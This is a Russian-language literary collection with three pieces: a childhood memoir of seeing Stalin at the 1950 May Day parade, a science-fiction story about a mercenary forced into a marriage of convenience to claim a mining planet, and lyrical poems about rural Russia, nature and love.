Откройте свой Мир!

                                                                     
ВОЖДЬ


 


Сталина я видел на Первомайской
демонстрации в Москве тысяча девятьсот пятидесятого года.


Мне было пять лет, вернее, без
трёх дней пять лет. Я шёл в колонне ЦАГИ с отцом, а если точнее,


сидел у него на плечах, а может и
на шее, если хотите. И орал что есть мочи"Ур-ра-а-а!", увидев


на Мавзолее фигуру любимого
вождя. Вождь помахивал мне рукой и улыбался сквозь усы. Вос-


торг обуял меня. Я рванулся к
Иосифу Виссарионовичу, но отец удержал меня за ноги Зачем он


это сделал!? Я бы прилетел по
воздуху к вождю, обнял его, а он поцеловал бы меня и погладил


по головке. Я видел только его, а
стоявших рядом с ним малых вождей не замечал. Как будто их


и не было вовсе. Все славили
вождя, но я громче всех. Лишь мой папа почему-то молчал, чем


меня страшно удивил и обидел. Ну
это его дело. А я был так счастлив, так счастлив, что и не


выразить словами. И запомнил эти
счастливые минуты на всю жизнь. Такие вот дела.


 
А ведь я не просто так попал на демонстрацию. Рано утром папа заставил
меня выпить натощак


два сырых яйца. Не хотел я их
пить, противны они мне были. Я ненавидел варёный лук и сырые


яйца. Поначалу я заплакал,
отказываясь от этой гадости. Но когда отец сказал, что в таком случае


не пойду на демонстрацию. Что
было делать? Если я не пойду на демонстрацию, то и не увижу


товарища Сталина. Я сдался. И
выпил, содрогаясь от гадости такой. Вот ,дорогой Иосиф Виссари-


онович, какой подвиг я ради тебя
совершил. Такие вот дела.


 
Через несколько дней мы вернулись с мамой и годовалой сестрёнкой Таней
домой, в Воронеж.


А папа через месяц вернулся,
когда закончил свои работы в ЦАГИ. Это организация такая, где в


огромной трубе продуваются разные
детали самолётов и прочих ракет. Папа часто ездил в эти


ЦАГИ. Наверное, так было нужно
его Воронежскому авиационному заводу.


 И вот когда я возвратился  домой, то стал рассказывать всем ребятам из
нашего дома и ребятам


из заводских землянок про Москву.
Что в магазинах там полно всяких вкусностей, которые я ел.


И что покупай кто хочет, без
талонов и продуктовых каточек. И никто мне не верил. Потому что


в воронежских магазинах шаром
покати, а то редкое, что ютилось на полках, продавалось только


по продуктовым карточкам И никто
не представлял себе, что в Москве не так. Хотя слухи и ходили,


всерьёз их никто не воспринимал.
Эх, где эта Москва ! Никто там не был. А я был. И когда я


рассказывал, что был на Первомайской
демонстрации и видел Иосифа Виссарионовича, а он по-


махал мне рукой и улыбнулся,
ребята, выслушав, долго смеялись. И обозвали меня вруном.


Я разозлился и сказал Мишке,
соседу по лестничной площадке: "Пойдём и спросим у моей


                                                                


                                                                                                                                                                          &nbs p;                      
2


мамы, правду ли я говорю или вру. И Мишка пошёл со мной и спросил мою
маму про мои россказни. И мама сказала, что всё правда. И про Москву, и про
дорогого товарища Сталина.


И Мишка слушал, разинув рот и вытаращив глаза. И рассказал  ребятам всё, что узнал. И ему поверили.
Потому что Мишке было восемь лет и он сломал ногу, выпрыгнув с балкона


второго этажа на спор. А ещё он умел ловить ворон, из которых его мама
варила суп. Коро-


че,  Мишка был в авторитете. И я
стал в авторитете, потому что взаправду был в Москве, и товарищ Сталин махал
мне рукой с Мавзолея дедушки Ленина. Такие вот дела.


 


 


                        
-----------------------------------------------------------------------------------------


 


                                                                        
Валерий Беденко.


 


 

  Кейт Норман рывком преодолела тридцать метров вперед, забирая
влево. Упала в небольшую выемку, которая образовалась в когда-то расплавленном
до стекла песке. Свернулась в позу эмбриона, восстановила дыхание. Переместила
в костюме-хамелеоне климат-фильтры в стороны на несколько сантиметров.
 «Хамелеон» обтягивал тело второй кожей с
головы до кончиков пальцев рук и ног, а климат-фильтры приводили выдыхаемый
воздух в соответствие с температурой окружающей среды. Встроенная в костюм
электронная начинка, четко отслеживала расположение этих фильтров, чтобы не
было повторений хотя бы в один миллиметр.
  «Хамелеон», как ему и положено, маскировал
Кейт под окружающий ее пейзаж. Но выдать местоположение бойца могло даже
малейшее движение воздуха. Поэтому приходилось передвигаться как можно быстро и
непредсказуемо. Вражеская лазерная установка, управляемая электроникой, выжигала
все, что считала достойным ее внимания. Самый незначительный сдвиг в
пространстве – повод для открытия огня.
  Вот и сейчас, на свою беду, девушку заметил,
пролетающий мимо, зубокрыл. Пока он был на высоте недосягаемой для установки,
все для него было хорошо.
  До сих пор оставалось неясным, как эти твари
могли распознавать людей в «хамелеонах», которые не отражали ультразвуковые и
радиоволны, а также скрывали термическое излучение тела.
  Зубокрыл спикировал на девушку и был поджарен
лазерным разрядом на высоте шести метров от нее. Дымящаяся тушка шлепнулась
прямо на голову Кейт. Она не преминула воспользоваться данным подарком.
Отшвырнула останки хищной птицы влево, а сама раскрученной пружиной выскочила
из выемки и устремилась вправо - под укрытие расплавленного конуса, бывшего
когда-то боевой машиной, который сейчас напоминал разноцветное, начинающее
таять, гигантское мороженое.
  На расстоянии вытянутой руки, лежали
обглоданные до бела кости Дика - ее бывшего соратника. Его «хамелеон» был
разодран в клочья.
  Милый был парень. Все время лез к Кейт со
своей любовью, набивался в напарники. Глупым был и самоуверенным, поэтому
девушка его обыграла -  подставила под
нож неприятеля. А потом прикончила и того парня, который так и остался лежать в
паре метрах, как тряпичная кукла в целехоньком костюме, подпирая головой
останки своей подруги, сдуру решившую его спасти. Теперь у нее в грудине зияет
знатная, выжженная лазером, дыра.
  Кейт оторвалась от приятных воспоминаний -
нужно было дело делать. Осталось преодолеть еще треть пути, и заветная цель
будет совсем рядом.
  Пора покидать это недружелюбное место. Сейчас
из песка полезут еще одни представители местной фауны. Что-то подобное
сухопутным крабам. Им все равно, что глодать, мертвечину или живое тело.
«Хамелеон» они прокусывают на раз. К ее поверженным врагам крабам было не
добраться – те находились на линии огня обеих лазерных установок -
противника  и базы Кейт.
  Чтобы не попасть под обстрел своего же
орудия, на костюм был нанесен электромагнитный маркер, распознаваемый
управляющим компьютером.  Маркер
наносился перед вылазкой всегда новый. Считалось высшим пилотажем во время
рукопашного боя подставить противника под удар своей установки, а иногда бойца
из своей команды - под чужое оружие.
    Перемещаясь зигзагами, укрываясь в
расщелинах, ямках, за бугорками, а то и за трупами менее удачливых наемников,
Кейт, наконец, достигла пределов мертвой зоны пред бункером, где находилась
база противника. Все скрытые ловушки и мины были обезврежены еще в прежние
вылазки, поэтому девушка вздохнула свободно. Но оставалась еще одна преграда –
дверь входа в бункер. Хотя она и была замаскирована в стене известняковой скалы,
особой фантазии не требовалось, чтобы ее найти. Кейт активировала сенсор. Пара
минут пассов руками и цель достигнута. Еще пять минут ожидания, прислонив
ладонь правой руки к неприметному выступу в скале. Встроенная электронная
отмычка подбирает комбинацию, одну из нескольких миллиардов. Все, есть!
    Створка уходит влево, образовав узкую щель.
Кейт проскальзывает в нее, благо, габариты девушки позволяют проделать это
беспрепятственно. Дальше пять легких шагов по темному коридору, пол которого
плавно уходит вниз. Кейт нащупывает в стене кнопку. Дверь беззвучно
закрывается, погасив лучи света, лившиеся из проема.
  Затем дело техники. Бункер был стандартного
типа, как и тот, где базировалась Кейт, а значит, знакомый до кубического
миллиметра. Тихо гудела коммуникационная система. Девушка миновала коридор,
фильтрационную кабину, получив порцию рентген и ультрафиолета, очистивших ее
костюм от паразитов, микробов и бактерий, кишащих в воздухе планеты.
    Включила сенсор, показывающий тепловое
излучение объектов, обозначила функцию особого выделения живых существ. Хотя
она и была уверена, что здесь их не обнаружит - осторожность никогда не мешала.
  Вокруг все так же было тихо и никаких
признаков кого-то живого. Так и должно быть. По данным дрона-разведчика бойцов
у неприятеля практически не осталось. Кроме двух. На практике ведения боя – в
бункере напоследок оставались двое. Такая привилегия принадлежала единицам,
обычно самым сильным, или хитрым и коварным. Но это еще не все – кто-то из них
должен был попасть во вражеский бункер, чтобы окончательно закрепить успех. Вот
здесь и начиналось самое интересное – наступала пора спарринга. Штука довольно
хлопотная и неприятная. Ты мог бесконечно доверять этому человеку прежде, но не
сейчас. Вознаграждение привлекательнее получать целиком, а не делить с кем-то
поравну. Дальше уже понятно – выживает кто-то один, а может … никто.
  Кейт выжидала неделю, чтобы убедиться – на
базе противника нет выживших. Даже никаких намеков. Затем ушла неделя на
обезвреживание территории по ее периметру. И вот ее звездный час настал!
  Кейт приказала себе не расслабляться.
Крадучись, сливаясь со светло-зеленой краской помещений бункера, она методично
обследовала каждый закуток базы. Наткнулась, как и ожидала, на два трупа. Один
- когда-то был здоровенным мужчиной. Сильно накачанным, и возможно, не особо
поворотливым и сообразительным. Останки уже покрылись зеленью, и по выражению
лица уже было невозможно определить его чувства перед смертью. Наверняка, это
была горечь разочарования. Других выражений лиц у наемников, перед уходом в мир
иной, здесь и не бывает. Второй - труп женщины, не уступающей телосложением
товарищу по команде, был в том же состоянии. Судя по всему, она умерла от ран,
нанесенных в борьбе со своим приятелем. Хорошо, что «хамелеон» не пропускал
сопутствующие запахи. К виду мертвых тел Кейт давно привыкла, а вот ощущать
исходящее от них амбре, старалась как можно реже.
  Пришла пора ставить жирную точку. Девушка
направилась в командный отсек. Хотя, отпала нужда в мимикрии, она сняла шлем
«хамелеона» лишь тогда, когда села в кресло пред пультом компьютерного
терминала, на сленге именуемым «мозг». Еще раз перепроверила помещения на
наличие живых существ. Затем откинулась на спинку кресла и покрутилась на нем,
как на карусели. Да! Она сделала это!
  Осталось совсем немного – отключить лазерную
установку, законсервировать базу неприятеля, подать об этом сигнал на спутник,
и можно возвращаться в свой бункер. Дорога обратно будет более приятной, так
как не придется прятаться как от лазерных разрядов противника, так и от
зубокрылов – о них позаботятся родные пушки. И конечно, самое главное –
предвкушение обладания вознаграждением! Очень большим для таких, как Кейт
Норман. На этой планете она осталась единственным представителем человеческой
цивилизации, нанятым корпорацией, занимающейся добычей полезных ископаемых.
  В современном мире осталось только две
подобных крупных компаний, способных конкурировать друг с другом. Их
деятельность базировалась на поиске еще неоткрытых, неосвоенных планет и
астероидов,  богатых природными
ресурсами, приносящих огромную прибыль. Корпорации, как правило, образно
говоря, всегда шли ноздря в ноздрю. Поэтому, для право обладания новооткрытой
планетой им приходилось с каждой стороны высаживать армию наемников. Чья
команда выигрывала, та и становилась собственницей спорной территории.
   Если в боях погибали все представители
компаний, нанимались новые команды, и так до тех пор, пока не оставалось хотя
бы одного человека, способного предъявить миру доказательства своего
юридического права быть обладателем данной планеты. Счастливчика, или, очень
редко – счастливчиков, сумевших выжить, одаривали крупным вознаграждением,
после чего они оформляли свою собственность во владение выигравшей корпорации.
  Жизни всех наемников были застрахованы, и
после их смерти родственникам, или доверенным лицам, полагалась довольно
приличная сумма денег. А так как в основном это были безродные и одинокие люди,
доверителями выступали все те же, нанявшие их, компании. Так что, проигравшая
корпорация тоже не оставалась в накладе.
  Кейт вернулась на свою
базу. Скинула костюм, глубоко вдохнула воздух, пахнущий озоном, который исходил
от «хамелеона» после дезинфекции. Как же было легко на душе. Никогда прежде она
не ощущала такого восторга от одиночества, как сейчас. Если к этому еще прибавить
чувство быть хозяйкой целой планеты, напичканной неисчислимыми богатствами, то
девушка просто была на седьмом небе от счастья!
  Норман осталась в бежевом трико. Она могла бы
снять его прямо сейчас, но давно въевшаяся привычка лишний раз не провоцировать
соратников, особенно мужского пола, на действия сексуального характера,
направилась в душ. Нет, душ подождет, он может смыть приятные ощущения до того,
как она отправит на свой спутник сообщение о своей победе. А до этого нужно еще
раз насладиться видом СОБСТВЕННОЙ планеты, пусть и через экран монитора.
  Напевая себе под нос незатейливый веселый
мотивчик, Кейт свернула в направлении командного центра. Дверь в него была
открыта и девушка без препятствий шагнула в отсек. Но сразу же наткнулась на
твердый и чуть насмешливый взгляд мужчины в сером трико. Он сидел в кресле,
повернувшись в ее сторону, и спиной к «мозгу». Смятый «хамелеон» валялся рядом.
Девушке хватило доли секунды, чтобы бесшумно ретироваться из помещения. Мужчина
моментально, как пружина вытолкнул свое тело из кресла и устремился следом за
беглянкой.
  Кейт металась по коридорам, особо не надеясь,
где-нибудь спрятаться. Любая каюта или закрываемый отсек, представлялись
ловушкой, где не было запасов воды и еды. Да и то не факт, что с ними можно
было продержаться довольно долго. Идея отсидеться на пищевом складе сразу
отпала. Если захватчик имеет доступ к «мозгу», ему ничего не стоит буквально
перекрыть кислород во все помещения. Пробраться к компьютеру? И …, чем он может
помочь? Если только послать зов о помощи. О Мироздание, не смешите меня,
никто  и не шелохнется в этом
направлении, только поржет над незадачливой наемницей. Было бы хоть какое-то
оружие, нож, наконец! Арсенал! Тьфу, все давно испорчено, чтобы бывший соратник
сам им не воспользовался. Найти «хамелеон», выбраться наружу? Пока его
натянешь, настроишь, этот мерзавец тебе давно открутит голову. Голышом
разгуливать – сразу же сожрет какая-нибудь тварь. Где же выход?! Чертов
ублюдок, откуда он взялся?!
  Кейт затаилась за углом одного из коридоров,
чтобы перевести дыхание. Она еще раз про себя чертыхнулась. Ее бежевое трико
отчетливо выделялось на фоне светло-зеленых стен. Пару раз промелькнуло серое
пятно. Преследователь на время ее потерял, нужно было срочно что-то
предпринимать.
  Еще один вопрос неотступно вертелся в голове
– почему незваный гость не убил ее еще на подступах к базе? Достаточно было
удалить образец ее маркера из базы компьютера, чтобы родная установка
испепелила девушку дотла. Садист какой-то. Решил, как победитель
воспользоваться ее телом, чтобы напоследок унизить? Бред, через несколько дней
с такими- то деньжищами, которые он получит, на него будут гроздьями вешаться
на все готовые девицы.
  Кейт закрыла глаза, задышала ровно и
ритмично. Не оставалось ничего другого, как принимать бой врукопашную. Была
надежда, что ее противник вымотан, так же как и она, пока сюда добирался.
  Девушка подняла веки. В пяти шагах к ней
двигался спокойной, уверенной походкой, подобно представителю семейства
кошачьих, ее враг.
  Бросок Кейт вперед был стремительным. Прыжок
с разворотом. Удар ноги приходится на мощный блок с захватом. Противник резко
выкручивает направленную на него конечность. Девушка перекручивается в воздухе,
мягко падает на спину. Кувырок назад и она снова на ногах. Опять атака, пара
финтов – теперь целью был живот мужчины в сером трико. Мимо, опять захват, на
этот раз шеи. Ее, как куклу переворачивают в воздухе и бросают на пол, удар об
который на время вышибает дух из груди. Ничего, бывало и хуже, главное – не останавливаться.
  Кейт юлой закрутилась на спине, приблизилась
к противнику и удачно подсекла его. Тот, падая, встал на мостик, сальто назад –
он на ногах. Но девушка тоже успела встать 
и достать его ногой в грудь. Еще серия ударов в торс и по голове. Противник
на пару секунд теряет ориентацию, а очнувшись, выставляет блок руками и
ответным ударом с разворотом отшвыривает Кейт назад. Она проезжает на спине
около метра и оказывается на пересечении двух коридоров. Опять кувырок, девушка
скрывается за углом. Она не стала дожидаться преследователя, а устремилась еще
за один угол. Снова игра в прятки.
  Три минуты непрерывного бега по лабиринту
бункера. Кажется, Кейт на долю секунды выпала из реальности и ошиблась с
выбором поворота. Незваный гость поджидал ее за одним из них. В результате
девушка оказалась в тисках шейного захвата. На этот раз она была прижата спиной
к противнику. Достаточно было одного движения, чтобы сломать ей шею и отправить
в мир иной. Кейт мысленно стала прощаться с жизнью. Но враг ее медлил, и поэтому
у девушки появилась надежда хотя бы на отсрочку смерти.
  Слишком тесным был контакт между их телами,
чтобы Кейт смогла почувствовать, что есть возможность пустить в ход свои
женские чары. Она расслабилась и умудрилась еще ближе прижаться к мужчине. В
ответ тот лишь рассмеялся:
  - Хочешь меня обмануть? Не получится, я
потерплю.
  Но девушка добилась своего, его захват хоть
ненадолго – ослабел. Удар локтя Кейт пришелся под ребра противника. Разворот –
хук в челюсть, добавить еще пару ударов в торс и по голове. Отскочить в сторону
и принять стойку для защиты, чтобы перевести дыхание. Но мужчина очухался
быстрее, чем она ожидала. Его яростный прыжок она еле успела отбить.
  Если раньше девушка нападала, то теперь
приходилось обороняться. Кейт едва успевала уклоняться и ставить блоки. Она
стала уставать, а у противника, казалось наоборот – силы утроились. Очередной
шквал ударов, и она получила тот единственный, который стал роковым, пославшим
ее в глубокий нокаут.
  Очнулась Кейт, сидя в кресле. К нему были
прочно примотаны скотчем ее руки и ноги. Хорошо, что рот был не заклеен, а то
бы она тут же умерла от отчаяния. Девушка надеялась, что это был хороший знак,
значит, ее хотят слышать, если только победитель – незаконченный псих и
извращенец, который любит упиваться воплями своих жертв.
  Он сидел напротив и внимательно наблюдал за
девушкой. После того, как она открыла глаза, мужчина одобрительно закивал
головой.
  Кейт первым делом, насколько это было
возможно, осмотрела себя, чтобы узнать, в каком виде восседает перед непрошеным
гостем. К удивлению, она была одета вполне прилично – в парадную форму
наемников. Ее противник был облачен точно так же, и если бы не путы Кейт, то
это было бы похоже на обычные переговоры двух воюющих сторон. Она немного успокоилась,
и решилась озвучить мучивший ее вопрос, так как мужчина пока не проронил ни
слова.
  - Почему ты меня не убил?
  - У меня к тебе есть предложение.
  - Какое?
  - Выходи за меня замуж.
  Изумлению Кейт не было предела. Она решила,
что ее собеседник шутит.
 - Ты серьезно?
  - Серьезней некуда. Решай быстрее, у нас мало
времени.
  - А если я откажусь?
  - Тогда я тебя убью. У тебя есть выбор,
решай. Но для нас обоих будет лучше, если согласишься.
  - Не пойму, а в чем фишка?
  - Когда мы зарегистрируем брак, эта планета
станет нашей. Разве ты не мечтала владеть всей планетой с огромными ресурсами
без ограничений? У тебя никогда не было чувства, что несправедливо отдавать ее
кому-то другому, пролив столько крови, даже за какое-то там вознаграждение?
  - Ты предлагаешь пойти против двух
могущественных корпораций? Да они сотрут нас в порошок.
  - Согласен, сотрут. Но они и так нас
уничтожат, если мы оба останемся в живых. А если будем законными супругами, то у
нас появится большое преимущество. – Мужчина, увидев скепсис на лице своей
пленницы, стал развивать мысль дальше. – На данный момент сложилась патовая
ситуация – в живых остались наемники двух конкурирующих фирм. Оба послали сообщения,
что база противника захвачена, и каждый претендует на вознаграждение.
Корпорации обмениваются между собой претензиями на данную планету и понимают,
что праздновать победу еще рано. Кто-то из наемников должен умереть в борьбе
друг с другом, или же им обоим дорога на тот свет. В этом случае даются сутки
на выжидание. Если ситуация не решается в чью-то пользу – либо наемники
находятся в сговоре друг с другом, либо оба мертвы – на планету посылается
независимый отряд чистильщиков. Они убивают заговорщиков, если таковые существуют,
констатируют смерть всех остальных бойцов, принимавших участие в кампании,
отсылают останки их владельцам, и все начинается заново.
  - Раз все так печально, почему ты решил, что
мы сможем как-то одержать над ними верх?
  - О, у нас с тобой будет огромное
преимущество, как у законной семьи. Этому закону больше пятисот лет. Еще на
заре колонизации пригодных для жизни планет, приоритет для их освоения,  и конечно, владения, предоставлялся семьям, а
именно законным разнополым супругам, способных воспроизводить потомство –
дальнейших наследников этой планеты. В то время начался настоящий бум открытий
новых территорий и освоения дальнего космоса. Целые семейные кланы бороздили
пространство для поиска хоть мало-мальски пригодного для жизни космического
тела. Земле это было выгодно, так как не приходилось тратиться на дорогостоящие
экспедиции. Не буду тебе пересказывать всю историю человеческой цивилизации. За
пятьсот лет гонку первопроходцев перехватили крупные корпорации, и семейный
бизнес в этой области  постепенно сошел
на нет. Но тот закон еще никто не отменял! Ты улавливаешь мою мысль? Именно мы
с тобой сейчас находимся на не принадлежащей никому планете, и если узаконим
семейные узы, то имеем полное право на ее владение.
  Кейт слушала этого странного человека, и до
сих пор не могла поверить, что он из противника превратился в ее союзника. Ей
всегда казалось, что она обречена на одиночество, так как в этом мире
приходилось не верить никому и доверять только себе. Притом, она знала о своем
небольшом преимуществе перед наемницами, и использовала его при любом удобном
случае, которое помогло ей выжить и в данный момент.
  В основном девушки, выбравшие воинский путь,
считали, что если они будут больше похожи на представителей противоположного
пола, если им не будет мешать в работе и продвижении по службе природное
предназначение продолжать род людской, то удача будет к ним более благосклонна.
Поэтому они избавлялись от репродуктивных органов, не забыв при этом законсервировать
свои яйцеклетки в банке репродукции, надеясь в более счастливом будущем
обзавестись потомством искусственным путем.
  Ирония судьбы заключалась в том, что после
гибели женщин-воинов, право на владение биоматериалом переходило в
собственность банка, который имел полное право распоряжаться им по своему
усмотрению.  Яйцеклетки, как и сперму,
охотно раскупали, кто бы вы думали? Да, именно корпорации, нанимающие
собственные армии. Затем начиналась негласная опека над искусственно рожденными
детьми, дальнейшая дорога которых, приводила их прямо в военный интернат. А там
уже, как по накатанной – наемная армия сынок, или дочка.
  Кейт знала лишь о том, что ее подруги по
интернату, повзрослев, делали подобную операцию, но она сама подсознательно
противилась самой этой идее. Впоследствии девушка не пожалела об этом, поняв,
что более привлекательна для представителей противоположного пола, чем ее, так
называемое, женское окружение. Единственное - приходилось приспосабливаться и
не уступать в ловкости и силе подругам, чтобы не выглядеть среди них белой вороной.
  После интерната, поступив в школу военных
наемников, она уловила, что ей уделяют внимания больше, не как бойцу, а как
женщине. Быстро сообразив, какие дивиденды она может иметь благодаря женскому
обаянию, стала пользоваться им особенно рьяно.
  Кейт прошла две кровавые выигрышные кампании,
развязанные несколькими конкурирующими фирмами. В них не было такого
однозначного, бескомпромиссного итога для победы, как сейчас. Просто освободили
территории нескольких объектов от армий противника, и все. Без потерь, конечно,
не обошлось, но Кейт получила определенный опыт, и поэтому решила, что все-таки
сможет выиграть самую главную битву за обеспеченную, не обремененную риском
жизнь. Она завербовалась в ряды наемников по захвату еще не освоенной планеты.
  Поворот событий ей явственно показал, что она
выбрала выигрышный лотерейный билет, когда не избавилась от своего природного
предназначения. Но больше всего поражала осведомленность ее гостя, который
предлагал при данных обстоятельствах необычное сотрудничество. От ее внимания
не ускользнул один пункт принятого полтысячелетия назад закона: супруги должны
иметь способность воспроизводить потомство.
  Кейт жеманно повела плечом:
  - Я тебя совершенно не знаю, и почему должна
тебе верить? Кто даст гарантию, что заключив брак, ты не избавишься от меня?
  - Извини, я не представился. Ты так рьяно
сопротивлялась нашему знакомству, что я просто не успел. Меня зовут Майкл
Джонс. В прошлом - кадровый военный. Служил в армии одного очень независимого
государства, там получил звание полковника, имел награды. Прошел с десяток
кампаний, больше половины из них завершились победой с нашей стороны. Но
однажды произошел совсем неприятный инцидент, в котором признали виновным меня,
разжаловали в рядовые и лишили наград. После чего я подал в отставку. В тот
время у меня и зародилась идея захватить целую планету. Проштудировал всю
юриспруденцию по этому поводу. Остановил выбор на варианте, при котором была
нужна кандидатура на роль жены. Я выбрал тебя. Не удивляйся, все было продумано
заранее, и я знаю о Кейт Норман практически все, благо твоя биография не
слишком длинная. Ты идеально подходишь: можешь родить наследников, умеешь
выживать в неблагоприятных условиях, психически устойчива. Когда ты
завербовалась, я поспешил наняться в команду конкурентов. По-моему получилось.
  - А если бы меня убили?
  - Получил бы вознаграждение. Вариантов
развития событий много, как много  и их
решений. Сейчас альтернатива такая, которую предлагаю я. Откажешься – путь у
тебя будет только один  - смерть. Не
говорю, что в первом случае будет легко, корпорации так просто не сдадутся:
будут угрозы, уговоры, диверсии и прочие методы подавления. Все это тебе
знакомо, поэтому считаю, когда есть что терять, стоит за него побороться. А
гарантии, никто никогда их не даст. Ты уже прошла дорогой смерти, и все время
тебе дается шанс, так воспользуйся им и на этот раз. Думаешь, что сможешь убить
меня, когда все получишь? Не обольщайся. После регистрации и подачи заявления о
право обладанием планеты, мы автоматически перейдем под юрисдикцию
Галактического Союза. Тогда гибель кого-нибудь из супругов будет тщательно
расследоваться. Возможно, это и будет твоей гарантией на жизнь. В конце концов,
существует брачный договор. А сейчас у нас есть восемнадцать часов, советую принимать
решение быстрее.
  - Я согласна.
  Майкл Джонсон приступил к настраиванию
аппаратуры. Через десять минут  экран
монитора показывал лицо немного усталого нотариуса. Он пока внимательно
просматривал данные подателей заявления на регистрацию брака. Иногда искоса
поглядывал на жениха и невесту.
  Кейт, уже без пут, сидела в кресле, а Майкл
стоял рядом, положив руку ей на плечо, заранее предупредив, чтобы она не делала
резких движений.
  Нотариус, что-то вычитав в материалах дела,
пристально всмотрелся в лицо девушки, хранившее непроницаемость.
  - У вас повышенное содержание адреналина в
крови, мисс Норман. Вы добровольно вступаете в брак?
 - Я сильно переволновалась сэр. Это такой
ответственный шаг.
 Нотариус, соглашаясь, покивал головой:
  - Да, конечно. Мне хочется убедиться, что вы
идете под венец не по принуждению.
  - О нет, сэр. Скорее это я принудила Микки
жениться на мне! – Кейт кокетливо заулыбалась, подняла голову, и все так же
улыбаясь, с ненавистью посмотрела на жениха. Тот, наклонив голову, тоже мило
улыбнулся. Наклониться ниже и чмокнуть подругу в щеку он не решился, только
сильнее сжал пальцы на ее плече.
  Прошло еще не менее получаса, пока
представитель юстиции ознакомился и сверился с документами идентификации
брачующихся.
  -  Да,
все хорошо, не противоречит законам Галактического Союза. Считаю, что вы
вступаете в брак добровольно и осмысленно.
 - Желаете ли вы, Кейт Норман, взять в мужья
Майкла Джонса?
  - Да.
  - Желаете ли вы, Майкл Джонсон, взять в жены
Кейт Норман?
  - Да.
 - А теперь, закрепите свои семейные узы
поцелуем!
 Кейт встала. Поцелуй у них получился не то
чтобы горячим, но совсем искренним, с привкусом опасности, исходящей от обоих.
  Когда все юридические процедуры были
пройдены, составлен брачный договор и было подано прошение о праве считать
планету под названием «Китти» собственностью супругов, когда новобрачные
остались  одни, Кейт с чувством залепила
пощечину своему благоверному. Наконец-то, она сможет принять душ.  

Ирина Тубина

Одноэтажная Россия.

Я по селу пройду погожим днём,
Любуясь на наличники резные.
В простор полей обращена лицом
Одноэтажная Россия.

Ты соль земли и хлеб её ржаной,
И работяги тут живут простые.
Лихие ветры веют над тобой,
Одноэтажная Россия.

Озёра светят голубым огнём,
Весной прозрачны рощи продувные.
Каким он будет – день в окне твоём,
Одноэтажная Россия.


***
Везу в деревню молоко сухое,
В края разрушенных и разоренных ферм.
А вспомнишь изобилие «застоя»,
Так не захочешь и других высоких сфер.

Корея – вот кормилица отныне,
Лапшу ты порошковым молоком запей….
Но горький запах молодой полыни
Летит от неухоженных полей

А клюшки ферм – заломленные руки –
Взывают к небесам –
Безмолвна высь.
И здесь ли проживают дети, внуки?
Или в неметчину от горя подались?

Что ныне ищу люди на чужбине?
Забыли щедрый некогда крестьянский край?
Краснеет жгуче горечь на рябине,
И ветер носит над полями птичий грай

***
Когда идут дожди, и непролазны улицы,
И трактор в грязь увяз, ведь он не человек.
Деревня крышами озябшими сутулится,
В земных заботах обживая новый век

***


-2-
***
Ляжет степь у костра песни дерзкие слушать,
Будут искры лететь, чтобы звездами стать.
Лишь людской добротой можно вылечить душу,
И мелодией можно планету обнять.

Деревня
Ключи студёною водой поили;
Роса в лугах, как россыпь серебра.
Просёлки за околицу водили,
Сияли лужи, словно зеркала.

В них отражались ярые закаты,
И в них купалась первая звезда.
Но уплывали дни мои куда – то
Бесследно, словно талая вода.

Уйти от этих мест святых и древних,
Растратить бесполезно много дней…
В ночной реке отражена деревня Безмолвной, зыбкой россыпью огней.

***
Наряжалась я зря,
и глаза зря цвели ожиданьем.
Вышивала цветы
и вздыхала в проёме окна.
Только клён полыхал,
заслоняя соседние зданья.
И шептали мне листья:
«Ты снова, подруга, одна».
Вновь увижу тебя – улыбнусь
и, как школьница, рада.
Я подарков не жду,
ни к чему даже с неба звезда.
Мне б хватило вполне
одного только нежного взгляда.
Глаз таких, как твои,
не видала нигде, никогда….
.

Лето
Надышись голубым, спелым воздухом,
Сочной радостью летних полей.
Погляди: светозарное облако
Чуть коснулось моих тополей.

И, ромашковой дрёмой стреноженный,
Стригунок не спешит убегать.
По тропиночке, мамкой исхоженной,
Тихо сходит ко мне благодать.
-3-
Весенним вечером

Вечер в ночь перелился неслышно.
Пахнет ранней листвой. И цветёт
Под окном белоснежная вишня,
Словно старую песню поёт.

Песню ту, что в луга уводила,
Душу хмелем поила сполна,
Что, как ласточка в небе кружила,
И звенела: «Ты радость – весна».

***
Тебе хотела быть сестрою,
Но сердце ревность обожгла.
Дорогой долгой полевою
С тревогой тягостной пошла.

Что я скажу тебе при встрече,
Найду ли добрые слова?
А вдруг обижу, не заметив,
Что вовсе не была права.

Ведь я винить тебя не в праве
Что ты красив, что ты умен,
Что словно бриллиант в оправе
Толпой поклонниц окружен.

Что только другом называть
И не клянешься мне в любви,
И мне свободно доверяешь
Все мысли тайные свои.

Тебе хотела быть сестрою,
А нынче что же не хочу.
Какой монетой золотою
Тебе за дружбу отплачу?

Отплачу я свои желанья:
Ну что ж, любимою не быть,
Зачем искать очарованья
И тщетную мечту таить.

Пусть будет так, как ты захочешь,
Свои стремления смирю….
В очаровательные очи
Я с тихой радостью смотрю.

***


-4-
***
Что слово – облако тумана,
Доска, закинутая в гать,
Но мне по ней легко и странно
В луга прибрежные бежать

Рассвет качающие воды
Текут в медлительной реке
И разговором пароходы
Разбудят рощи вдалеке.

***
За лёгкий взмах ресниц
Полжизни так не много.
Под переливами зарниц
Всю в золоте дорога.

Пусть угасает майский день,
Но жизнь не угасает.
В садах безумствует сирень,
Вдали река мерцает.

Новорождённая звезда
Висит над самой крышей.
Сердца стучат как поезда,
Ну вот - слова всё тише.

***
Любовь у каждого своя.
Ну расскажи мне, чем он дорог.
Без «Мерса» он и без жилья
Простой, как грабли, археолог.

Мечтает что – то там открыть
И вечно занят черепками.
Ему бы вечное лепить
Такими чуткими руками.

Ладонь устало опустив,
Всё философствует и курит…
И мы уйдём, оставив жить
Вот эту ржавую кастрюлю.

Набор вещей – бездушный хлам,
Ещё тетрадь с черновиками.
Не похвалятся, видно, нам
И не умом и не деньгами.

***
Природа прекрасна, мудра и чиста.
И ширь её рощ и полей,
-5-
В реке отраженная их красота
С таинственной жизнью зверей,
Высь неба, осенний багрянец листа,
И туч торопливый бег;
Всё это – лишь книга, чтоб смог прочитать
Её только ты – человек.

Последняя неделя лета

Встречали радостно рассветы,
Брели тропинкой наугад.
Цветами летними одеты,
Луга струили аромат.

И на опушке спелых ягод
Набравши в горсть, смотрели ввысь….
И не гадали на день, на год,
Куда несёт шальная жизнь.

По трассе пролетали фуры,
Везли привет земли иной.
От облачной архитектуры
Спадал немного летний зной.

Костёр дымит, как сигарета.
Теплом не надышалась всласть,
Последняя неделя лета,
Как иномарка пронеслась.

***
Раскатали дом по брёвнышку
И продали на дрова.
А гляделось в окна солнышко,
В ноги падала трава.

